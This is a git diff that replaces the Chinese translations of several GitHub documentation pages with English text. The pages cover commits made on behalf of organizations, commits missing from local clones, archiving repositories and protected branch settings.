a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md index 2f2b6aa63f..a7082678b8 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md @@ -1,6 +1,6 @@ --- -title: 代表组织创建提交 -intro: '通过在提交消息中添加尾行可代表组织创建提交。 归属于组织的提交应包含 {% data variables.product.product_name %} 上的 `on-behalf-of` 徽章。' +title: Creating a commit on behalf of an organization +intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.' redirect_from: - /articles/creating-a-commit-on-behalf-of-an-organization - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization @@ -8,29 +8,28 @@ redirect_from: versions: fpt: '*' ghec: '*' -shortTitle: 代表组织 +shortTitle: On behalf of an organization --- - {% note %} -**注：**代表组织创建提交的功能目前处于公开测试阶段，可能会有所变化。 +**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change. {% endnote %} -要代表组织创建提交： +To create commits on behalf of an organization: -- 您必须是尾行所述组织的成员 -- 您必须对提交签名 -- 您的提交电子邮件地址和组织电子邮件地址必须位于经组织验证的域中 -- 您的提交消息必须以尾行 `on-behalf-of: @org ` 结尾。 - - `org` 是组织的登录名 - - `name@organization.com` 位于组织的域中 +- you must be a member of the organization indicated in the trailer +- you must sign the commit +- your commit email and the organization email must be in a domain verified by the organization +- your commit message must end with the commit trailer `on-behalf-of: @org ` + - `org` is the organization's login + - `name@organization.com` is in the organization's domain -组织可使用 `name@organization.com` 电子邮件地址作为开源工作的公共联络点。 +Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. -## 在命令行上使用 `on-behalf-of` 徽章创建提交 +## Creating commits with an `on-behalf-of` badge on the command line -1. 输入提交消息以及简短、有意义的更改描述。 在提交描述后，不要加上右引号，而是添加两个空行。 +1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. ```shell $ git commit -m "Refactor usability tests. > @@ -38,11 +37,11 @@ shortTitle: 代表组织 ``` {% tip %} - **提示：** 如果您使用文本编辑器在命令行上输入提交消息，请确保在提交描述末尾与 `on-behalf-of:` 提交尾行之间有两个换行符。 + **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. {% endtip %} -2. 在提交消息的下一行，键入 `on-behalf-of: @org `，然后键入右引号。 +2. On the next line of the commit message, type `on-behalf-of: @org `, then a closing quotation mark. ```shell $ git commit -m "Refactor usability tests. @@ -51,24 +50,25 @@ shortTitle: 代表组织 on-behalf-of: @org <name@organization.com>" ``` -在下次推送时，新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。 更多信息请参阅“[推送更改到远程仓库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)”。 +The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." -## 在 {% data variables.product.product_name %} 上使用 `on-behalf-of` 徽章创建提交 +## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %} -在 {% data variables.product.product_name %} 上使用 web 编辑器对文件进行更改后，您可以通过在提交消息中添加 `on-behalf-of:` 尾行来创建代表组织的提交。 +After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. -1. 进行更改后，在页面底部键入简短、有意义的提交消息，以描述您所做的更改。 ![有关更改的提交消息](/assets/images/help/repository/write-commit-message-quick-pull.png) +1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. + ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) -2. 在提交消息下方的文本框中，添加 `on-behalf-of: @org `。 +2. In the text box below your commit message, add `on-behalf-of: @org `. - ![第二个提交消息文本框中的提交消息代表尾行示例](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) -4. 单击 **Commit changes（提交更改）**或 **Propose changes（提议更改）**。 + ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) +4. Click **Commit changes** or **Propose changes**. -新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。 +The new commit, message, and badge will appear on {% data variables.product.product_location %}. -## 延伸阅读 +## Further reading -- "[在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile)" -- “[为什么我的贡献没有在我的个人资料中显示？](/articles/why-are-my-contributions-not-showing-up-on-my-profile)” -- “[查看项目的贡献者](/articles/viewing-a-projects-contributors)” -- “[更改提交消息](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)” +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)" +- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md index 96925c509f..613caee543 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md @@ -1,6 +1,6 @@ --- -title: 存在于 GitHub 上但不存在于本地克隆中的提交 -intro: '有时，提交可以在 {% data variables.product.product_name %} 上查看到，但不存在于仓库的本地克隆中。' +title: Commit exists on GitHub but not in my local clone +intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.' redirect_from: - /articles/commit-exists-on-github-but-not-in-my-local-clone - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone @@ -10,73 +10,83 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: 本地克隆中缺少的提交 +shortTitle: Commit missing in local clone --- +When you use `git show` to view a specific commit on the command line, you may get a fatal error. -使用 `git show` 在命令行上查看特定提交时，可能会收到致命错误。 - -例如，可能会在本地收到 `bad object` 错误： +For example, you may receive a `bad object` error locally: ```shell $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592 ``` -但是，当您在 {% data variables.product.product_location %} 上查看该提交时，却可以看到它，并且不会遇到任何问题： +However, when you view the commit on {% data variables.product.product_location %}, you'll be able to see it without any problems: `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592` -有几种可能的解释： +There are several possible explanations: -* 本地仓库已过期。 -* 包含提交的分支已被删除，因此该提交的引用不再有效。 -* 有人强制推送了提交。 +* The local repository is out of date. +* The branch that contains the commit was deleted, so the commit is no longer referenced. +* Someone force pushed over the commit. -## 本地仓库已过期 +## The local repository is out of date -您的本地仓库可能还没有提交。 要将信息从远程仓库提取到本地克隆，请使用 `git fetch`： +Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`: ```shell $ git fetch remote ``` -这将安全地将信息从远程仓库复制到本地克隆，无需对已检出的文件进行任何更改。 您可以使用 `git fetch upstream`从已复刻的仓库获取信息，或使用 `git fetch origin`从仅克隆的仓库获取信息。 +This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out. +You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned. {% tip %} -**提示**：更多信息请参阅 [Pro Git](https://git-scm.com/book) 手册中的[管理远程仓库和获取数据](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) 。 +**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book. {% endtip %} -## 包含提交的分支已被删除 +## The branch that contained the commit was deleted -如果仓库的协作者已删除包含提交的分支或者已强制推送该分支，则缺失的提交可能已成为孤立状态（即无法从任何引用访问它），因此它不会被提取到您的本地克隆中。 +If a collaborator on the repository has deleted the branch containing the commit +or has force pushed over the branch, the missing commit may have been orphaned +(i.e. it cannot be reached from any reference) and therefore will not be fetched +into your local clone. -如果幸好有某个协作者的本地克隆仓库中包含了该缺失的提交，则他们可以将其推送回 {% data variables.product.product_name %}。 他们需要确保通过本地分支引用该提交，然后将其作为新分支推送到 {% data variables.product.product_name %}。 +Fortunately, if any collaborator has a local clone of the repository with the +missing commit, they can push it back to {% data variables.product.product_name %}. They need to make sure the commit +is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}. -假设某人仍有包含该提交的本地分支（称为 `B`）。 它们可能追随已被强制推送或删除的分支，只是它们还没有更新。 要保留该提交，他们可以将该本地分支推送到 {% data variables.product.product_name %} 上的新分支（称为 `recover-B`）。 在此例中，假设他们有一个名为 `upstream` 的远程仓库，通过该仓库他们可以推送到 `github.com/$account/$repository`。 +Let's say that the person still has a local branch (call it `B`) that contains +the commit. This might be tracking the branch that was force pushed or deleted +and they simply haven't updated yet. To preserve the commit, they can push that +local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}. For this example, +let's assume they have a remote named `upstream` via which they have push access +to `github.com/$account/$repository`. -他们运行： +The other person runs: ```shell $ git branch recover-B B -# 创建引用该提交的新本地分支 +# Create a new local branch referencing the commit $ git push upstream B:recover-B -# 将本地分支 B 推送到新上游分支，创建对提交的新引用 +# Push local B to new upstream branch, creating new reference to commit ``` -现在，*您*可以运行： +Now, *you* can run: ```shell $ git fetch upstream recover-B -# 将提交提取到您的本地仓库。 +# Fetch commit into your local repository. ``` -## 避免强制推送 +## Avoid force pushes -除非万不得已，否则应避免向仓库强制推送。 如果可以向仓库推送的人不止一个，这个原则尤为重要。 +Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests. -## 延伸阅读 +## Further reading -- [_Pro Git_ 手册中的“处理远程仓库”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) -- [_Pro Git_ 手册中的“数据恢复”](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) +- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) +- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md index cb778ef0b0..b8d5a45fc7 100644 --- a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md +++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md @@ -1,6 +1,6 @@ --- -title: 存档仓库 -intro: 您可以存档仓库，将其设为对所有用户只读，并且指出不再主动维护它。 您也可以取消存档已经存档的仓库。 +title: Archiving repositories +intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived. redirect_from: - /articles/archiving-repositories - /github/creating-cloning-and-archiving-repositories/archiving-repositories @@ -22,26 +22,28 @@ topics: {% ifversion fpt or ghec %} {% note %} -**注：**如果原本有各仓库计费计划，您仍然需要对存档的仓库付费。 如果不想对存档的仓库付费，则必须升级到新产品。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”。 +**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." {% endnote %} {% endif %} {% data reusables.repositories.archiving-repositories-recommendation %} -在仓库存档后，便无法添加或删除协作者或团队。 具有仓库访问权限的贡献者只能对项目复刻或标星。 +Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project. -当仓库存档后，其议题、拉取请求、代码、标签、重要事件、项目、wiki、版本、提交、标记、分支、反应、代码扫描警报和注解都会变成只读。 要更改存档的仓库，必须先对仓库取消存档。 +When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first. -您可以搜索已存档的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)”。 更多信息请参阅“[搜索仓库](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)”。 更多信息请参阅“[搜索议题和拉取请求](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)”。 +You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)." -## 存档仓库 +## Archiving a repository {% data reusables.repositories.archiving-repositories-recommendation %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 在 "Danger Zone"（危险区域）下，单击 **Archive this repository（存档此仓库）**或 **Unarchive this repository（取消存档此仓库）**。 ![存档此仓库按钮](/assets/images/help/repository/archive-repository.png) -4. 阅读警告。 -5. 输入要存档或取消存档的仓库的名称。 ![存档仓库警告](/assets/images/help/repository/archive-repository-warnings.png) -6. 单击 **I understand the consequences, archive this repository（我了解后果，存档此仓库）**。 +3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**. + ![Archive this repository button](/assets/images/help/repository/archive-repository.png) +4. Read the warnings. +5. Type the name of the repository you want to archive or unarchive. + ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png) +6. Click **I understand the consequences, archive this repository**. diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md index 1f1ec0f630..c4be3a9f2a 100644 --- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md +++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md @@ -1,6 +1,6 @@ --- -title: 关于受保护分支 -intro: 您可以通过设置分支保护规则来保护重要分支，这些规则定义协作者是否可以删除或强制推送到分支以及设置任何分支推送要求，例如通过状态检查或线性提交历史记录。 +title: About protected branches +intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.' product: '{% data reusables.gated-features.protected-branches %}' redirect_from: - /articles/about-protected-branches @@ -25,118 +25,113 @@ versions: topics: - Repositories --- +## About branch protection rules -## 关于分支保护规则 +You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule. -您可以通过创建分支保护规则，实施某些工作流程或要求，以规定协作者如何向您仓库中的分支推送更改，包括将拉取请求合并到分支。 +By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings. -默认情况下，每个分支保护规则都禁止强制推送到匹配的分支并阻止删除匹配的分支。 您可以选择禁用这些限制并启用其他分支保护设置。 +By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too. -默认情况下，分支保护规则的限制不适用于对仓库具有管理员权限的人。 您也可以选择包括管理员。 - -{% data reusables.repositories.branch-rules-example %} 关于分支名称模式的更多信息，请参阅“[管理分支保护规则](/github/administering-a-repository/managing-a-branch-protection-rule)”。 +{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." {% data reusables.pull_requests.you-can-auto-merge %} -## 关于分支保护设置 +## About branch protection settings -对于每个分支保护规则，您可以选择启用或禁用以下设置。 -- [合并前必需拉取请求审查](#require-pull-request-reviews-before-merging) -- [合并前必需状态检查](#require-status-checks-before-merging) -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} -- [Require conversation resolution before merging（在合并前需要对话解决）](#require-conversation-resolution-before-merging){% endif %} -- [要求签名提交](#require-signed-commits) -- [需要线性历史记录](#require-linear-history) +For each branch protection rule, you can choose to enable or disable the following settings. +- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) +- [Require status checks before merging](#require-status-checks-before-merging) +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +- [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %} +- [Require signed commits](#require-signed-commits) +- [Require linear history](#require-linear-history) {% ifversion fpt or ghec %} - [Require merge queue](#require-merge-queue) {% endif %} -- [包括管理员](#include-administrators) -- [限制谁可以推送到匹配的分支](#restrict-who-can-push-to-matching-branches) -- [允许强制推送](#allow-force-pushes) -- [允许删除](#allow-deletions) +- [Include administrators](#include-administrators) +- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches) +- [Allow force pushes](#allow-force-pushes) +- [Allow deletions](#allow-deletions) -有关如何设置分支保护的更多信息，请参阅“[管理分支保护规则](/github/administering-a-repository/managing-a-branch-protection-rule)”。 +For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." -### 合并前必需拉取请求审查 +### Require pull request reviews before merging {% data reusables.pull_requests.required-reviews-for-prs-summary %} -如果启用必需审查，则协作者只能通过由所需数量的具有写入权限之审查者批准的拉取请求向受保护分支推送更改。 +If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions. -如果具有管理员权限的人在审查中选择 **Request changes（申请更改）**选项，则拉取请求必需经此人批准后才可合并。 如果申请更改拉取请求的审查者没有空，则具有仓库写入权限的任何人都可忽略阻止审查。 +If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review. {% data reusables.repositories.review-policy-overlapping-commits %} -如果协作者尝试将待处理或被拒绝审查的拉取请求合并到受保护分支，则该协作者将收到错误消息。 +If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message. ```shell remote: error: GH006: Protected branch update failed for refs/heads/main. remote: error: Changes have been requested. ``` -（可选）您可以选择在推送提交时忽略旧拉取请求批准。 如果有人将修改代码的提交推送到已批准的拉取请求，则该批准将被忽略，拉取请求无法合并。 这不适用于协作者推送不修改代码的提交，例如将基础分值合并到拉取请求的分支。 有关基础分支的信息，请参阅“[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)”。 +Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." -（可选）您可以限制特定人员或团队忽略拉取请求审查的权限。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 +Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." -（可选）您可以选择要求代码所有者进行审查。 如果这样做，则任何影响代码的拉取请求都必须得到代码所有者的批准，才能合并到受保护分支。 +Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch. -### 合并前必需状态检查 +### Require status checks before merging -必需状态检查确保在协作者可以对受保护分支进行更改前，所有必需的 CI 测试都已通过。 更多信息请参阅“[配置受保护分支](/articles/configuring-protected-branches/)”和“[启用必需状态检查](/articles/enabling-required-status-checks)”。 更多信息请参阅“[关于状态检查](/github/collaborating-with-issues-and-pull-requests/about-status-checks)”。 +Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)." -必须配置仓库使用状态 API 后才可启用必需状态检查。 更多信息请参阅 REST 文档中的“[仓库](/rest/reference/repos#statuses)”。 +Before you can enable required status checks, you must configure the repository to use the status API. For more information, see "[Repositories](/rest/reference/repos#statuses)" in the REST documentation. -启用必需状态检查后，必须通过所有必需状态检查，协作者才能将更改合并到受保护分支。 所有必需状态检查通过后，必须将任何提交推送到另一个分支，然后合并或直接推送到受保护分支。 +After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch. -{% note %} +Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box. -**注：**对仓库具有写入权限的任何个人或集成可以在仓库中设置任何状态检查的状态。 {% data variables.product.company_short %} 无法验证检查的作者是否被授权创建具有特定名称的检查或修改现有状态。 在合并拉取请求之前，应验证合并框中列出的每个状态的作者是否符合预期。 +You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging. -{% endnote %} +| Type of required status check | Setting | Merge requirements | Considerations | +| --- | --- | --- | --- | +| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.| +| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. | +| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes. -您可以将必需状态检查设置为“宽松”或“严格”。 您选择的必需状态检查类型确定合并之前是否需要使用基础分支将您的分支保持最新状态。 +For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." -| 必需状态检查的类型 | 设置 | 合并要求 | 考虑因素 | -| --------- | ------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------------------------------- | -| **严格** | 选中 **Require branches to be up to date before merging（合并前需要分支保持最新状态）**复选框。 | 在合并之前，**必须**使用基础分支使分支保持最新状态。 | 这是必需状态检查的默认行为。 可能需要更多构建，因为在其他协作者将拉取请求合并到受保护基础分支后，您需要使头部分支保持最新状态。 | -| **宽松** | **不**选中 **Require branches to be up to date before merging（合并前需要分支保持最新状态）**复选框。 | 在合并之前，**不**必使用基础分支使分支保持最新状态。 | 您将需要更少的构建，因为在其他协作者合并拉取请求后，您不需要使头部分支保持最新状态。 如果存在与基础分支不兼容的变更，则在合并分支后，状态检查可能会失败。 | -| **已禁用** | **不**选中 **Require status checks to pass before merging（合并前需要状态检查通过）**复选框。 | 分支没有合并限制。 | 如果未启用必需状态检查，协作者可以随时合并分支，无论它是否使用基础分支保持最新状态。 这增加了不兼容变更的可能性。 | +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +### Require conversation resolution before merging -有关故障排除信息，请参阅“[必需状态检查故障排除](/github/administering-a-repository/troubleshooting-required-status-checks)”。 - -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} -### 合并前需要对话解决 - -在合并到受保护的分支之前，所有对拉取请求的评论都需要解决。 这确保所有评论在合并前都得到解决或确认。 +Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. {% endif %} -### 要求签名提交 +### Require signed commits -在分支上启用必需提交签名时，贡献者{% ifversion fpt or ghec %}和自动程序{% endif %}只能将已经签名并验证的提交推送到分支。 更多信息请参阅“[关于提交签名验证](/articles/about-commit-signature-verification)”。 +When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)." {% note %} {% ifversion fpt or ghec %} -**注意：** +**Notes:** -* 如果您已经启用了警戒模式，这表明您的提交总是会签名，允许在需要签名提交的分支上提交 {% data variables.product.prodname_dotcom %} 识别为“部分验证”的任何提交。 有关警戒模式的更多信息，请参阅“[显示所有提交的验证状态](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)”。 -* 如果协作者将未签名的提交推送到要求提交签名的分支，则协作者需要变基提交以包含验证的签名，然后将重写的提交强制推送到分支。 +* If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." +* If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. {% else %} -**注：**如果协作者将未签名的提交推送到要求提交签名的分支，则协作者需要变基提交以包含验证的签名，然后将重写的提交强制推送到分支。 +**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. {% endif %} {% endnote %} -如果提交已进行签名和验证，则始终可以将本地提交推送到分支。 {% ifversion fpt or ghec %}您也可以使用 {% data variables.product.product_name %} 上的拉请求将已经签名和验证的提交合并到分支。 但除非您是拉取请求的作者，否则不能将拉取请求压缩并合并到 {% data variables.product.product_name %} 。{% else %}但不能将拉取请求合并到 {% data variables.product.product_name %} 上的分支。{% endif %} 您可以在本地{% ifversion fpt or ghec %}压缩和{% endif %}合并拉取请求。 更多信息请参阅“[在本地检出拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)”。 +You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)." -{% ifversion fpt or ghec %} 有关合并方法的更多信息，请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的合并方法](/github/administering-a-repository/about-merge-methods-on-github)”。{% endif %} +{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %} -### 需要线性历史记录 +### Require linear history -强制实施线性提交历史记录可阻止协作者将合并提交推送到分支。 这意味着合并到受保护分支的任何拉取请求都必须使用压缩合并或变基合并。 严格的线性提交历史记录可以帮助团队更容易回溯更改。 有关合并方法的更多信息，请参阅“[关于拉取请求合并](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)”。 +Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)." -在需要线性提交历史记录之前，仓库必须允许压缩合并或变基合并。 更多信息请参阅“[配置拉取请求合并](/github/administering-a-repository/configuring-pull-request-merges)”。 +Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)." {% ifversion fpt or ghec %} ### Require merge queue @@ -146,30 +141,30 @@ remote: error: Changes have been requested. {% data reusables.pull_requests.merge-queue-references %} {% endif %} -### 包括管理员 +### Include administrators -默认情况下，受保护分支规则不适用于对仓库具有管理员权限的人。 您可以启用此设置将管理员纳入受保护分支规则。 +By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules. -### 限制谁可以推送到匹配的分支 +### Restrict who can push to matching branches {% ifversion fpt or ghec %} -如果您的仓库为使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %} 的组织所拥有，您可以启用分支限制。 +You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}. {% endif %} -启用分支限制时，只有已授予权限的用户、团队或应用程序才能推送到受保护的分支。 